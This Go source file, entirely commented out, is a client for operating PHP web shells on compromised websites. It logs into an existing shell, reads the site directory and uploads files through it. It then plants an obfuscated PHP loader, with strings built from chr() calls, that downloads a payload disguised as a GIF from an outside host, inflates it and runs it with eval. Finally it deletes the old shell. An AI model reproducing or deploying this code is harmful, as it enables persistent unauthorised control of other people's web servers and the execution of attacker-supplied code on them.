/**
 * Copyright 2018 orivil.com. All rights reserved.
 * Use of this source code is governed by a MIT-style
 * license that can be found at https://mit-license.org.
 */

package http
//
//import (
//	"net/http"
//	"net/url"
//	"fmt"
//	"github.com/PuerkitoBio/goquery"
//	"bytes"
//	"mime/multipart"
//	"io"
//)
//
//func Login(domain, phpFile, password string) (cookies []*http.Cookie, err error){
//	path := domain + "/" + phpFile
//	res, e := http.PostForm(path, url.Values{
//		"envlpass":{
//			password,
//		},
//	})
//	if e != nil {
//		return nil, e
//	}
//	if res.StatusCode == 200 {
//		return res.Cookies(), nil
//	} else {
//		return nil, fmt.Errorf("path %s got code: %d", path, res.StatusCode)
//	}
//}
//
//func GetSiteDir(domain, phpFile string, sessions []*http.Cookie) (dir string, err error) {
//	req, e := http.NewRequest("GET", domain + "/" + phpFile, nil)
//	if e != nil {
//		return "", e
//	}
//	for _, cookie := range sessions {
//		req.AddCookie(cookie)
//	}
//	res, e := http.DefaultClient.Do(req)
//	if e != nil {
//		return "", e
//	}
//	if res.StatusCode == 200 {
//		doc, e := goquery.NewDocumentFromReader(res.Body)
//		if e != nil {
//			return "", e
//		}
//		doc.Find("input").Each(func(i int, selection *goquery.Selection) {
//			if name, ok := selection.Attr("name"); ok && name == "path" {
//				if value, ok := selection.Attr("value"); ok {
//					dir = value
//				}
//			}
//		})
//		return
//	} else {
//		return "", fmt.Errorf("got code: %d", res.StatusCode)
//	}
//}
//
//func PostFile(domain, phpFile, filename, toDir, content string, sessions []*http.Cookie) error {
//	// Create buffer
//	buf := new(bytes.Buffer) // caveat IMO dont use this for large files, \
//	// create a tmpfile and assemble your multipart from there (not tested)
//	w := multipart.NewWriter(buf)
//	fw, err := w.CreateFormFile("upfile[]", filename)
//	if err != nil {
//		return err
//	}
//	_, err = fw.Write([]byte(content))
//	if err != nil {
//		return err
//	}
//	w.WriteField("uppath", toDir)
//	w.WriteField("tankNo", "1")
//	w.WriteField("upfiles", "1")
//	w.Close()
//	ul := domain + "/" + phpFile +"?eanver=upfiles"
//	req, err := http.NewRequest("POST", ul, buf)
//	if err != nil {
//		return err
//	}
//	req.Header.Set("Content-Type", w.FormDataContentType())
//	for _, cookie := range sessions {
//		req.AddCookie(cookie)
//	}
//	req.Header.Set("Refer", "http://" + domain + "/" + phpFile + "?eanver=main")
//	res, err := http.DefaultClient.Do(req)
//	if err != nil {
//		return err
//	}
//	buf = bytes.NewBuffer(nil)
//	io.Copy(buf, res.Body)
//	if bytes.Contains(buf.Bytes(), []byte(filename)) {
//		return nil
//	} else {
//		return fmt.Errorf("上传失败: %s", buf.String())
//	}
//}
//
//var index = func(password string) string {
//	return `<?php
//$password='`+password+`';
//$c="chr";
//session_start();
//if(empty($_SESSION['PhpCode'])){
//$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
//$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
//$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
//$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
//$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
//$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
//$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
//$get=chr(102).chr(105).chr(108).chr(101).chr(95);
//$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
//$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
//$get.=chr(116).chr(115);
//$_SESSION['PhpCode']=$get($url);}
//$un=$c(103).$c(122).$c(105).$c(110);
//$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx'));
//@eval($un($_SESSION['PhpCode']));
//?>`
//}
//
//func RenameIndex(domain, toDir, oldName, newName, newPassword string, sessions []*http.Cookie) error {
//	err := PostFile(domain, oldName, newName, toDir, index(newPassword), sessions)
//	if err != nil {
//		return err
//	}
//	u := domain+"/" + oldName +"?eanver=del&p="+toDir +"/" + oldName
//	req, err := http.NewRequest("GET", u, nil)
//	if err != nil {
//		return err
//	}
//	for _, cookie := range sessions {
//		req.AddCookie(cookie)
//	}
//	_, err = http.DefaultClient.Do(req)
//	return err
//}
